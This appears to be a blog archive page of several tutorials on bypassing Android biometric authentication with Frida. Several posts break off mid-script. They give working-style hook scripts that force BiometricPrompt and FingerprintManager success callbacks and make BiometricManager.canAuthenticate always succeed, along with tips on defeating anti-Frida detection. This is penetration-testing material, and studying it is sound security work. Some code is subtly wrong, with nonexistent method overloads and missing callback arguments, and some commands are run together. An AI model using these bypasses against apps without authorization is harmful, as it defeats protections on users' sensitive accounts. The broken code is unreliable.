Author: admin

  • From Zero to Bypass: A Practical Guide to Frida’s Role in Android Biometric Penetration Testing

    Introduction: The Rise of Biometrics and Penetration Testing Challenges

    Biometric authentication has become an indispensable security feature in modern Android applications, offering a convenient and seemingly robust method for user verification. From fingerprint scanners to facial recognition, these mechanisms enhance user experience by replacing cumbersome passwords. However, like any security measure, biometric implementations are not immune to vulnerabilities. Penetration testers are tasked with identifying weaknesses, ensuring that an application’s biometric reliance doesn’t inadvertently create bypass opportunities. Traditional static and dynamic analysis methods can reveal much, but when it comes to runtime manipulation of complex APIs like Android’s BiometricPrompt, a powerful tool is needed. This is where Frida, a dynamic instrumentation toolkit, shines. This guide will walk you through the process of detecting and bypassing Android biometric authentication using Frida, taking you from environment setup to practical bypass techniques.

    Understanding Android Biometric Architecture

    Android’s biometric authentication relies primarily on the BiometricPrompt API, introduced in Android 9 (API level 28). This API standardizes the biometric interaction, abstracting away device-specific implementations and allowing developers to integrate fingerprint, face, or iris recognition seamlessly. Key components involved include:

    • BiometricPrompt: The primary class responsible for displaying the biometric authentication dialog and handling user interaction.
    • BiometricPrompt.AuthenticationCallback: An abstract class that applications implement to receive the results of a biometric authentication attempt (onAuthenticationSucceeded, onAuthenticationFailed, onAuthenticationError).
    • BiometricManager: Provides information about the availability and capabilities of biometric hardware on the device, such as checking if biometrics are enrolled or if the hardware is available via methods like canAuthenticate().

    Under the hood, these APIs interact with the Android Keystore system and potentially a Trusted Execution Environment (TEE) or Secure Element (SE) for cryptographic operations, aiming to provide a secure environment for biometric data storage and comparison. Our goal in penetration testing is to manipulate the application’s interaction with the BiometricPrompt and its callbacks.

    Setting Up Your Penetration Testing Environment

    To effectively use Frida for biometric bypass, you need a properly configured environment:

    1. Rooted Android Device or Emulator: Frida requires root privileges to inject into applications. An emulator (e.g., Android Studio’s AVD, Genymotion) or a physical rooted device is essential.
    2. ADB (Android Debug Bridge): For connecting to your device, pushing files, and installing applications.
    3. Frida-server on Android: The Frida server runs on the target Android device.
    4. Frida-tools on Host Machine: The command-line tools (frida, frida-ps, etc.) for interacting with the Frida server.

    Installation Steps:

    1. Install Frida-tools on your host:

    pip install frida-tools

    2. Download frida-server:

    Go to Frida’s GitHub releases, find the latest version, and download the frida-server--android- for your device’s architecture (e.g., arm64, x86_64). Then, push it to your device and make it executable:

    adb push frida-server /data/local/tmp/frida-serveradb shell"chmod +x /data/local/tmp/frida-server"

    3. Run frida-server on your device:

    adb shell"/data/local/tmp/frida-server &"

    Verify Frida is running by listing processes from your host:

    frida-ps -U

    Identifying Target Methods for Biometric Interaction

    Before bypassing, you need to know what to bypass. This involves identifying where the application invokes biometric authentication. This can be done through:

    • Static Analysis: Decompile the APK using tools like Jadx or APKTool. Search the source code for keywords like BiometricPrompt, authenticate, BiometricManager, onAuthenticationSucceeded.
    • Dynamic Analysis with Frida: If static analysis is not yielding direct results or is too time-consuming, Frida can help discover runtime interactions. You can attach to the app and enumerate loaded classes, then filter for biometric-related ones.

    Example: Listing Loaded Classes (for discovery)

    Java.perform(function() {    Java.enumerateLoadedClassesSync().forEach(function(className) {        if (className.includes('Biometric')) {            console.log(className);        }    });});

    Save this as `discover.js` and run with `frida -U -f com.example.app -l discover.js –no-pause`. This will list potential target classes.

    Intercepting Biometric Prompt Calls with Frida

    Once you’ve identified the relevant classes and methods, you can use Frida to hook them. The primary target is usually the authenticate method of BiometricPrompt and its associated AuthenticationCallback.

    Frida Script to Hook BiometricPrompt.authenticate

    This script will log when authenticate is called and capture its arguments, including the callback object. This helps understand the app’s flow.

    Java.perform(function() {    var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');    console.log('[*] Hooking android.hardware.biometrics.BiometricPrompt');    BiometricPrompt.authenticate.overload('android.hardware.biometrics.BiometricPrompt$Builder', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(builder, cancelSignal, executor, callback) {        console.log('[+] BiometricPrompt.authenticate called!');        console.log('    [*] Builder: ' + builder);        console.log('    [*] Cancel Signal: ' + cancelSignal);        console.log('    [*] Executor: ' + executor);        console.log('    [*] Callback: ' + callback);        // You can also inspect the callback object methods here        // For example, to call onAuthenticationSucceeded manually for testing:        // callback.onAuthenticationSucceeded.overload('android.hardware.biometrics.BiometricPrompt$AuthenticationResult').call(callback, null);        this.authenticate(builder, cancelSignal, executor, callback);    };    console.log('[*] BiometricPrompt.authenticate hook installed.');});

    Practical Bypass Techniques

    Now for the main event: bypassing the biometric prompt. The most straightforward approach is to force the success callback, making the application believe the user has successfully authenticated.

    Technique 1: Force onAuthenticationSucceeded Callback

    This technique directly invokes the onAuthenticationSucceeded method of the AuthenticationCallback object passed to BiometricPrompt.authenticate. This effectively skips the actual biometric challenge.

    Java.perform(function() {    var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');    var AuthenticationResult = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');    console.log('[*] Hooking android.hardware.biometrics.BiometricPrompt to bypass...');    BiometricPrompt.authenticate.overload('android.hardware.biometrics.BiometricPrompt$Builder', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(builder, cancelSignal, executor, callback) {        console.log('[+] BiometricPrompt.authenticate called! Attempting to force success...');        // Create a dummy AuthenticationResult object        var dummyResult = AuthenticationResult.$new(null, null); // For newer Android versions, it might require a CryptoObject        // Execute the success callback directly        executor.execute(Java.use('java.lang.Runnable').$new({            run: function() {                try {                    callback.onAuthenticationSucceeded(dummyResult);                    console.log('[*] Forced onAuthenticationSucceeded!');                } catch (e) {                    console.error('[-] Error calling onAuthenticationSucceeded: ' + e);                }            }        }));        // Optionally, prevent the original authenticate call if you want to entirely suppress the prompt        // If you still want the prompt to show but immediately succeed, call the original method.        // For a full bypass, comment out or remove the original call:        // this.authenticate(builder, cancelSignal, executor, callback);    };    console.log('[*] BiometricPrompt bypass hook installed. Launch the app and trigger biometric authentication.');});

    Running the Bypass Script:

    Save the above code as `bypass_biometric.js`.

    frida -U -f com.example.your_app_package_name -l bypass_biometric.js --no-pause

    Replace `com.example.your_app_package_name` with the actual package name of the target application. When the application attempts to show the biometric prompt, Frida will intercept the call and immediately trigger the `onAuthenticationSucceeded` callback, allowing you to bypass the biometric check.

    Technique 2: Bypassing BiometricManager.canAuthenticate

    Some applications might check BiometricManager.canAuthenticate() before even attempting to display the biometric prompt. If this method returns a value indicating biometrics are not available or not enrolled, the app might fallback to a different authentication method or deny access. We can hook this to always return success.

    Java.perform(function() {    var BiometricManager = Java.use('android.hardware.biometrics.BiometricManager');    console.log('[*] Hooking android.hardware.biometrics.BiometricManager.canAuthenticate');    // For Android 10+ (API 29+), use the overload with a single int argument    BiometricManager.canAuthenticate.overload('int').implementation = function(authenticators) {        console.log('[+] BiometricManager.canAuthenticate called! Forcing BIOMETRIC_SUCCESS...');        return BiometricManager.BIOMETRIC_SUCCESS.value;    };    // For older Android versions (API 28), it might be canAuthenticate() without args or with specific constants    // BiometricManager.canAuthenticate.overload().implementation = function() {    //     console.log('[+] BiometricManager.canAuthenticate (no args) called! Forcing BIOMETRIC_SUCCESS...');    //     return BiometricManager.BIOMETRIC_SUCCESS.value;    // };    console.log('[*] BiometricManager.canAuthenticate hook installed. App should now think biometrics are always available.');});

    Use this script (`bypass_canauthenticate.js`) similarly with `frida -U -f com.example.your_app_package_name -l bypass_canauthenticate.js –no-pause`.

    Conclusion

    Frida is an exceptionally powerful tool for Android penetration testing, particularly when dealing with runtime challenges like biometric authentication. By understanding the underlying Android APIs and leveraging Frida’s dynamic instrumentation capabilities, testers can effectively identify and bypass biometric controls, exposing potential weaknesses in an application’s security posture. Remember to use these techniques responsibly and ethically, always with proper authorization, to enhance security, not compromise it.

  • Troubleshooting Frida Biometric Bypasses: Common Pitfalls & Advanced Hooking Strategies

    Introduction to Android Biometric Security and Frida

    Android’s biometric authentication, leveraging technologies like fingerprint and face recognition, provides a crucial layer of security for sensitive applications. For penetration testers and security researchers, understanding and bypassing these mechanisms is essential for evaluating app resilience. Frida, a dynamic instrumentation toolkit, is an invaluable asset in this domain, allowing us to hook into application logic at runtime. However, bypassing biometric prompts isn’t always straightforward. This article delves into common pitfalls encountered during Frida-based biometric bypass attempts and explores advanced hooking strategies to overcome them, ensuring a thorough assessment of Android application security.

    Understanding Android Biometric Architecture

    Before diving into bypasses, it’s crucial to grasp how Android handles biometrics. Modern Android versions (API 28+) primarily use the BiometricPrompt API, which abstracts away the specifics of fingerprint or face hardware. Older versions might still use FingerprintManager or BiometricManager directly. The authentication flow typically involves:

    1. An application invokes BiometricPrompt.authenticate(), providing an executor and an AuthenticationCallback.
    2. The system UI displays the biometric prompt.
    3. The user provides a biometric input (e.g., touches a fingerprint sensor).
    4. The system validates the input against stored biometric data, often leveraging hardware-backed keystores for cryptographic operations.
    5. The system calls one of the methods on the provided AuthenticationCallback (onAuthenticationSucceeded, onAuthenticationFailed, onAuthenticationError).

    The key to a successful bypass often lies in manipulating these callback methods to force a successful authentication.

    Frida Setup Essentials

    Ensure Frida is correctly set up on your rooted Android device or emulator:

    # On your Android device/emulator shell:adb push frida-server /data/local/tmp/frida-serveradb shell 'chmod 755 /data/local/tmp/frida-server'adb shell '/data/local/tmp/frida-server &'# On your host machine:pip install frida-toolsfrida-ps -U

    Common Pitfalls in Biometric Bypassing

    1. Incorrect Target Method or Class

    Many apps don’t directly call BiometricPrompt.authenticate() in their UI code. Instead, they wrap it within their own classes or utility functions. This often leads to Frida scripts failing because they target the wrong entry point.

    • Symptom: Your Frida script loads, but the biometric prompt still appears, and your hooks don’t fire.
    • Solution: Use static analysis tools (like Jadx or Ghidra) to reverse-engineer the application. Look for calls to BiometricPrompt.Builder and its build() and authenticate() methods. Identify the app’s custom wrapper class or the direct context from which authenticate is invoked.

    2. Race Conditions and Timing Issues

    Frida scripts inject JavaScript at runtime. If your hook tries to modify a method that has already been executed or not yet loaded, it will fail. This is particularly critical for methods called early in an activity’s lifecycle.

    • Symptom: Hooks sometimes work, sometimes don’t, or you get errors like “Method not found.”
    • Solution: Hook during the application’s startup. Use Java.perform(function() { ... }) and Java.scheduleOnMainThread(function() { ... }) for UI-related hooks. Consider using the --no-pause flag with frida -f to inject earlier.

    3. Anti-Frida and Anti-Tampering Measures

    Sophisticated applications incorporate checks to detect the presence of Frida or other debugging tools. These can range from checking for the Frida server process to looking for specific memory patterns or open ports.

    • Symptom: The application crashes, refuses to start, or disables functionality when Frida is active.
    • Solution: Implement anti-anti-Frida techniques. This might involve renaming the Frida server, obfuscating the Frida agent, or hooking detection methods to return false. Tools like Objection can sometimes automate these bypasses, but custom Frida scripts offer more flexibility for specific app checks.

    4. Hardware-Backed Security and Key Attestation

    Some applications go beyond simple OS-level checks, utilizing hardware-backed keystores and key attestation. This ensures that cryptographic keys used for authentication or data protection are generated and stored securely within the device’s Trusted Execution Environment (TEE), making them extremely difficult to extract or tamper with even with root access.

    • Symptom: Biometric bypass works, but the app still reports an error or fails to decrypt data, indicating a deeper security check.
    • Solution: Bypassing hardware-backed key attestation is generally beyond the scope of software-only instrumentation like Frida. This usually requires finding vulnerabilities in the TEE implementation itself or in the application’s logic before the TEE interaction. Focus on patching the application’s decision-making logic *before* it relies on attestation results.

    Advanced Hooking Strategies for Biometric Bypass

    Strategy 1: Direct BiometricPrompt Callback Manipulation

    The most direct approach is to hook the authenticate method and force the success callback. This requires identifying the AuthenticationCallback instance.

    Java.perform(function() {    var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');    BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function(cancelSignal, executor, callback) {        console.log('[+] Hooked BiometricPrompt.authenticate - Forcing success!');        // Immediately call onAuthenticationSucceeded on the original callback instance        executor.execute(Java.use('java.lang.Runnable').$new({            run: function() {                try {                    callback.onAuthenticationSucceeded(null); // Pass null or a dummy result                    console.log('[+] onAuthenticationSucceeded called!');                } catch (e) {                    console.error('Error calling onAuthenticationSucceeded:', e);                }            }        }));        // Call original method to prevent app crash due to missing callback        this.authenticate(cancelSignal, executor, callback);    };    // For older APIs, you might need to hook FingerprintManager    try {        var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');        FingerprintManager.authenticate.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler').implementation = function(crypto, cancel, flags, callback, handler) {            console.log('[+] Hooked FingerprintManager.authenticate - Forcing success!');            var Runnable = Java.use('java.lang.Runnable');            var successRunnable = Runnable.$new({                run: function() {                    callback.onAuthenticationSucceeded(null); // Or new FingerprintManager.AuthenticationResult(null, null)                    console.log('[+] FingerprintManager onAuthenticationSucceeded called!');                }            });            if (handler) {                handler.post(successRunnable);            } else {                Java.scheduleOnMainThread(successRunnable);            }            // Call original to avoid app logic issues            this.authenticate(crypto, cancel, flags, callback, handler);        };    } catch (e) {        console.log('[-] FingerprintManager not found or not applicable:', e);    }});
    

    Explanation: The script hooks the authenticate method of BiometricPrompt (and FingerprintManager for older apps). When authenticate is called, instead of letting the system handle the biometric UI, it immediately schedules a call to callback.onAuthenticationSucceeded(null) on the provided executor. This tricks the application into believing the authentication was successful without user interaction.

    Strategy 2: Bypassing Custom Biometric Wrappers

    If an app uses a custom wrapper, static analysis is paramount. Let’s assume you found a class com.example.myapp.security.BiometricAuthenticator with a method verifyBiometrics() that internally calls BiometricPrompt.authenticate().

    Java.perform(function() {    var CustomBiometricAuthenticator = Java.use('com.example.myapp.security.BiometricAuthenticator');    CustomBiometricAuthenticator.verifyBiometrics.implementation = function() {        console.log('[+] Hooked CustomBiometricAuthenticator.verifyBiometrics() - Bypassing!');        // Depending on the return type, return true or a dummy success object.        // If it returns a boolean:        return true;        // If it returns an object that indicates success:        // var SuccessObject = Java.use('com.example.myapp.security.AuthenticationResult');        // return SuccessObject.$new(true,

  • The Ultimate Frida Lab: Bypassing Android Biometric Authentication in Real-World Apps

    Introduction to Android Biometric Authentication

    Android’s biometric authentication, primarily implemented via the BiometricPrompt API, provides a robust and convenient way for users to secure access to sensitive application features. From banking apps to secure messengers, biometrics like fingerprint and facial recognition are widely adopted due to their user-friendly nature and perceived security. For security researchers and penetration testers, understanding and evaluating the implementation of these features is crucial. This article dives deep into using Frida, a dynamic instrumentation toolkit, to detect and bypass Android biometric authentication mechanisms in real-world applications, offering a hands-on guide for your mobile penetration testing lab.

    Setting Up Your Frida Lab

    Prerequisites

    Before we begin, ensure you have the following components set up:

    • Rooted Android Device or Emulator: A rooted device (physical or emulator like Genymotion/Android Studio’s AVD) is essential for running Frida Server.
    • ADB (Android Debug Bridge): For interacting with your Android device.
    • Frida Server: The on-device component of Frida.
    • Frida Tools: The Python-based tools (frida, frida-trace) for your host machine.

    Installation Steps

    Follow these steps to get your Frida environment ready:

    1. Download Frida Server: Obtain the correct frida-server binary for your device’s architecture (e.g., arm64, x86) from the official Frida releases page on GitHub.
    2. Push and Run Frida Server:
      adb push /path/to/frida-server /data/local/tmp/frida-server
      adb shell "chmod 755 /data/local/tmp/frida-server"
      adb shell "/data/local/tmp/frida-server &"
    3. Install Frida Tools on Host:
      pip install frida-tools
    4. Verify Installation: Run frida-ps -U. You should see a list of processes running on your Android device.

    Understanding BiometricPrompt in Android

    The BiometricPrompt class, introduced in Android 9 (API Level 28), offers a unified API for biometric authentication. It abstracts away the complexities of different biometric hardware and provides a consistent UI. Key components include:

    • BiometricPrompt.Builder: Used to configure the prompt’s title, subtitle, description, and negative button text.
    • BiometricPrompt.AuthenticationCallback: An abstract class that your app must implement to handle authentication results. It defines methods like onAuthenticationSucceeded(), onAuthenticationFailed(), and onAuthenticationError().
    • authenticate(): The method that initiates the biometric authentication flow, taking a CancellationSignal, an Executor, and the AuthenticationCallback as arguments.

    For penetration testers, the primary goal is to intercept the authenticate() method and force a call to onAuthenticationSucceeded(), effectively bypassing the biometric check.

    Identifying Biometric Authentication Calls

    Before hooking, you need to know what to hook. There are two main approaches:

    Static Analysis (APK Decompilation)

    Tools like JADX or Ghidra can decompile the APK to Java/Smali code. Search for usages of BiometricPrompt or KeyguardManager (for older Android versions) to identify where biometric authentication is initiated. This gives you exact class and method names to target.

    Dynamic Analysis with Frida

    Frida’s dynamic capabilities are excellent for discovery. You can use frida-trace to monitor API calls:

    frida-trace -U -f com.example.targetapp -i "*BiometricPrompt*"

    This command will trace all methods within classes containing “BiometricPrompt” in the target app, giving you insights into how the API is used and which specific methods are called.

    Crafting the Frida Hook to Bypass Biometric Authentication

    Our objective is to hook the BiometricPrompt.authenticate() method and immediately trigger its success callback, onAuthenticationSucceeded().

    The Target: BiometricPrompt.authenticate()

    The method signature we’re interested in is authenticate(android.os.CancellationSignal, java.util.concurrent.Executor, android.hardware.biometrics.BiometricPrompt$AuthenticationCallback).

    Simulating Success via AuthenticationCallback

    The challenge lies in accessing the AuthenticationCallback instance passed to authenticate() and invoking its onAuthenticationSucceeded() method. Since this callback is usually an anonymous inner class or a private class, we’ll need to obtain a reference to it within our hook.

    Frida Script Implementation

    Here’s a detailed Frida script that achieves this bypass:

    Java.perform(function () {
        console.log("[*] Frida script loaded for BiometricPrompt bypass!");
    
        // Obtain references to the necessary Java classes
        var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
        var AuthenticationCallback = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    
        // Hook the authenticate method of BiometricPrompt
        // Ensure the overload matches the exact signature used by the target app
        BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function (signal, executor, callback) {
            console.log("[*] Hooked BiometricPrompt.authenticate()!");
    
            // Store a reference to the original method (optional, if you want to call it)
            var originalAuthenticate = this.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    
            // The `callback` argument is our target: an instance of AuthenticationCallback
            // We will call its onAuthenticationSucceeded method directly.
    
            // Schedule the callback on the main thread to prevent threading issues
            // and ensure the UI can react properly to the success event.
            Java.scheduleOnMainThread(function () {
                try {
                    console.log("[*] Invoking onAuthenticationSucceeded for callback: " + callback);
                    callback.onAuthenticationSucceeded();
                    console.log("[+] Biometric authentication successfully bypassed!");
                } catch (e) {
                    console.error("[-] Error invoking onAuthenticationSucceeded: " + e);
                }
            });
    
            // Important: Do NOT call the original authenticate method if you want a complete bypass.
            // If you were to call `originalAuthenticate.call(this, signal, executor, callback);`, the biometric prompt would still appear.
            // By not calling it, we prevent the prompt from ever being shown and immediately signal success.
        };
    
        console.log("[*] BiometricPrompt.authenticate hook installed.");
    
        // Optional: For older apps using KeyguardManager or additional checks
        // var KeyguardManager = Java.use('android.app.KeyguardManager');
        // KeyguardManager.isDeviceSecure.implementation = function () {
        //     console.log("[*] Hooked KeyguardManager.isDeviceSecure() - returning true!");
        //     return true;
        // };
    });
    

    Step-by-Step Bypass Example

    Let’s assume you have a target application, com.example.secureapp, that uses BiometricPrompt to authenticate users.

    1. Save the Script: Save the Frida script above as bypass_biometric.js.
    2. Run Frida: Execute Frida, injecting your script into the target application. The --no-pause flag ensures the app starts immediately after injection, which is often necessary for activities that initialize quickly.
      frida -U -l bypass_biometric.js -f com.example.secureapp --no-pause
    3. Interact with the App: Open the target app and navigate to the feature protected by biometric authentication.

    Expected Outcome: Instead of the biometric prompt appearing, you should immediately see the protected content or a success message, and the Frida console will log the bypass messages. The onAuthenticationSucceeded() method of the app’s callback object is invoked directly by our script, tricking the app into believing a successful authentication occurred.

    Advanced Considerations and Limitations

    • Hardware-Backed Keystore: Some applications use the Android Keystore system with hardware-backed keys, tying cryptographic operations to successful biometric authentication. While our hook bypasses the authentication check itself, it doesn’t directly compromise the keystore. However, by making the app think authentication succeeded, it will proceed to use the key as if it were legitimate.
    • Frida Detection: Many sophisticated applications employ anti-tampering techniques to detect Frida. This can include checking for Frida server processes, specific memory patterns, or loaded libraries. Bypassing these often requires advanced Frida techniques like using custom Gadgets, obfuscation, or anti-Frida scripts.
    • Android API Variations: While BiometricPrompt is standard, older Android versions or custom ROMs might have slightly different implementations or fallback mechanisms. Always verify the exact API calls used by the target application.
    • Multiple Authentication Points: An application might have several points where biometric authentication is checked. You may need to identify and hook all of them.

    Ethical Hacking and Responsible Disclosure

    These techniques are powerful and should be used strictly for legitimate security research, penetration testing, and vulnerability assessment with proper authorization. Always adhere to ethical hacking principles and report any vulnerabilities responsibly to the developers or vendors.

    Conclusion

    Frida is an indispensable tool for mobile application penetration testing, offering unparalleled flexibility in dynamic instrumentation. By mastering techniques to hook and manipulate Android’s BiometricPrompt API, security professionals can effectively evaluate the robustness of biometric authentication implementations in real-world applications. This lab demonstrates how to move beyond theoretical understanding to practical exploitation, empowering you to identify and demonstrate critical security flaws.

  • Crafting Custom Frida Scripts to Disable Android Biometric Prompts & Lock Screens

    Introduction to Bypassing Android Biometrics with Frida

    Android’s biometric authentication, whether it’s fingerprint, face unlock, or iris scan, provides a robust layer of security for apps and devices. However, in the realm of penetration testing and security research, understanding how to bypass these mechanisms is crucial for identifying vulnerabilities. Frida, a dynamic instrumentation toolkit, stands out as an invaluable tool for this purpose. This expert-level guide will walk you through crafting custom Frida scripts to effectively disable or bypass Android biometric prompts and lock screen mechanisms, enabling deeper analysis of applications.

    Frida allows you to inject custom JavaScript or C code into running processes on Android, providing unparalleled control over app execution. By hooking into specific Android API calls related to biometrics and keyguard services, we can manipulate their return values or behavior, effectively bypassing the authentication challenge without needing the actual biometric input.

    Prerequisites for Frida Biometric Bypassing

    Before diving into script development, ensure you have the following setup:

    • Rooted Android Device or Emulator: Frida requires root access to inject into system processes or target applications.
    • ADB (Android Debug Bridge): For connecting to your device, pushing files, and running shell commands.
    • Frida CLI Tools: Install frida-tools via pip: pip install frida-tools.
    • Frida Server: Download the appropriate frida-server binary for your device’s architecture (e.g., frida-server-16.x.x-android-arm64) from the Frida GitHub releases. Push it to your device and run it as root.
    • A Target Android Application: An application that utilizes Android’s biometric authentication (e.g., a banking app, a secure notes app, or even a system setting like ‘Privacy & app encryption’).
    • Decompiler (Optional but Recommended): Tools like Jadx or Ghidra can help in understanding the application’s code flow and identifying specific biometric API calls.

    Setting Up Frida Server

    First, ensure the Frida server is running on your Android device:

    adb push /path/to/your/frida-server /data/local/tmp/frida-server
    adb shell

  • Deep Dive: How Frida Intercepts & Patches Android Biometric Security Checks

    Introduction: Android Biometric Security and Frida

    Android’s biometric authentication systems provide a convenient and secure way for users to access applications and services, leveraging features like fingerprint or facial recognition. However, in the realm of penetration testing and security research, understanding how to analyze and potentially bypass these mechanisms is crucial for identifying vulnerabilities. Frida, a dynamic instrumentation toolkit, stands out as an indispensable tool for this purpose, allowing security professionals to inject custom scripts into running processes and manipulate application logic on the fly. This article will deep dive into using Frida to intercept and patch Android biometric security checks, providing a comprehensive guide for ethical hackers and reverse engineers.

    Understanding Android Biometric APIs

    Android handles biometric authentication primarily through two key APIs: BiometricPrompt and BiometricManager. A fundamental understanding of their roles is essential for effective targeting with Frida.

    • BiometricPrompt: This is the primary UI component displayed to the user for authentication. It mediates the interaction between the application and the underlying biometric hardware/software. Key methods include authenticate(), which initiates the authentication flow, and its associated callbacks (e.g., AuthenticationCallback). Upon successful authentication, a specific callback method (like onAuthenticationSucceeded) is triggered within the application.
    • BiometricManager: This API provides information about the device’s biometric capabilities. It allows apps to query whether biometrics are available, enrolled, and what types are supported. The canAuthenticate() method is particularly useful as it determines if the biometric prompt can even be shown.

    When an application requests biometric authentication, it typically calls BiometricPrompt.authenticate(). Our goal with Frida is to intercept these calls or their preceding checks (like canAuthenticate()) and manipulate their outcomes to bypass the authentication requirement.

    Setting Up Your Frida Environment

    Before diving into scripting, ensure you have a working Frida setup:

    1. A rooted Android device or emulator with frida-server running.
    2. frida-tools installed on your host machine (`pip install frida-tools`).
    3. ADB configured and connected to your device/emulator.

    Identifying Target Methods for Biometric Bypass

    The first step in any Frida-based bypass is identifying the exact methods that control or report biometric authentication status. We can start by looking for common classes and methods:

    • android.hardware.biometrics.BiometricPrompt: The authenticate method is the most direct target for interception.
    • android.hardware.biometrics.BiometricPrompt$AuthenticationCallback: The nested callback interface within BiometricPrompt is crucial. Specifically, we’re interested in onAuthenticationSucceeded, onAuthenticationFailed, and onAuthenticationError. Apps often implement their own anonymous inner classes for this callback.
    • android.hardware.biometrics.BiometricManager: The canAuthenticate method is useful for bypassing checks that prevent the biometric prompt from even appearing, often used for early exits or UI adjustments.

    We can use Frida’s Java.enumerateLoadedClasses() to explore these at runtime and Java.use() to hook them.

    Frida Scripting for Biometric Bypass

    Our Frida script will aim to:

    1. Hook BiometricManager.canAuthenticate to always return success, ensuring biometric checks are perceived as available.
    2. Hook implementations of BiometricPrompt$AuthenticationCallback to intercept failed or error states and force a successful authentication callback instead.
    Java.perform(function () {    console.log(

  • Reverse Engineering Android Biometric APIs for Advanced Frida Hooking Techniques

    Introduction

    Android’s biometric authentication, primarily via fingerprints and face recognition, has become a cornerstone of mobile security, offering a convenient yet robust way to protect user data. However, for penetration testers and security researchers, understanding how these APIs function under the hood and identifying potential bypasses is crucial. This article delves into the reverse engineering of Android Biometric APIs and demonstrates advanced Frida hooking techniques to detect and bypass biometric authentication mechanisms in target applications.

    We will explore the modern BiometricPrompt API, dissect its internal workings, and then craft sophisticated Frida scripts to intercept its methods, manipulate its callbacks, and ultimately achieve a successful bypass, even in scenarios involving cryptographic operations.

    Understanding Android Biometric APIs

    BiometricPrompt: The Modern API

    Since Android 9 (API Level 28), Google introduced BiometricPrompt as the unified API for biometric authentication, deprecating the older FingerprintManager. BiometricPrompt provides a consistent UI and API for interacting with various biometric hardware, simplifying developer integration and enhancing user experience.

    Developers typically interact with BiometricPrompt through its builder pattern, configuring the title, subtitle, description, and setting up an Executor and a BiometricPrompt.AuthenticationCallback. The core method for initiating authentication is authenticate(), which can optionally take a BiometricPrompt.CryptoObject.

    Behind the Scenes: How it Works

    When an application calls BiometricPrompt.authenticate(), the system handles the UI presentation and interaction with the underlying biometric hardware. Upon a successful or failed authentication, the system invokes the corresponding methods in the provided AuthenticationCallback:

    • onAuthenticationError(int errorCode, CharSequence errString): Called when an unrecoverable error has occurred.
    • onAuthenticationHelp(int helpCode, CharSequence helpString): Called when a recoverable error has occurred.
    • onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result): Called when a biometric is recognized.
    • onAuthenticationFailed(): Called when a biometric is valid but not recognized.

    The CryptoObject plays a vital role when cryptographic operations are tied to biometric authentication, ensuring that the key is only released upon successful user authentication. This is often used for operations like decrypting user data stored on the device.

    Reverse Engineering for Biometric Hooks

    Before hooking, static analysis is essential to understand the target application’s implementation of biometric authentication. Tools like Jadx, Ghidra, or Apktool are indispensable here.

    Static Analysis with Jadx/Ghidra

    Decompile the target APK and search for references to BiometricPrompt, BiometricManager, or their associated classes and methods. Key methods to look for include:

    • new BiometricPrompt.Builder()
    • new BiometricPrompt(...)
    • authenticate(CancellationSignal, Executor, BiometricPrompt.AuthenticationCallback)
    • authenticate(BiometricPrompt.CryptoObject, CancellationSignal, Executor, BiometricPrompt.AuthenticationCallback)

    Example of identifying a class using BiometricPrompt:

    $ jadx -d out application.apk # Decompile the APK $ grep -r "BiometricPrompt" out/ # Search for references

    This will help pinpoint the exact classes and methods where biometric authentication is initiated. Pay close attention to the AuthenticationCallback implementation, as this is where the application processes the result of the biometric check.

    Identifying Key Methods and Callbacks

    Once you’ve located the relevant code, identify:

    • The specific instance of BiometricPrompt being used.
    • The implementation of BiometricPrompt.AuthenticationCallback, typically an anonymous inner class or a private class within the activity/fragment.
    • Any custom logic around the authentication call, such as checks for device security or specific flags.

    Frida for Biometric Bypass

    Frida allows us to dynamically instrument Android applications, intercepting method calls and modifying their behavior at runtime. This capability is perfect for bypassing biometric checks.

    Basic Hooking: Observing Authentication Flow

    A fundamental step is to confirm that our hooks are hitting the right target. We can start by logging calls to BiometricPrompt.authenticate.

    Java.perform(function() {    const BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');    BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback').implementation = function(cancellationSignal, executor, callback) {        console.log('[-] BiometricPrompt.authenticate called!');        this.authenticate(cancellationSignal, executor, callback);    };    BiometricPrompt.authenticate.overload('androidx.biometric.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback').implementation = function(cryptoObject, cancellationSignal, executor, callback) {        console.log('[-] BiometricPrompt.authenticate with CryptoObject called!');        this.authenticate(cryptoObject, cancellationSignal, executor, callback);    };});

    Forcing Biometric Success

    To bypass the biometric prompt, we can intercept the authenticate method and directly invoke the onAuthenticationSucceeded callback. This effectively tells the application that the biometric check passed without any user interaction.

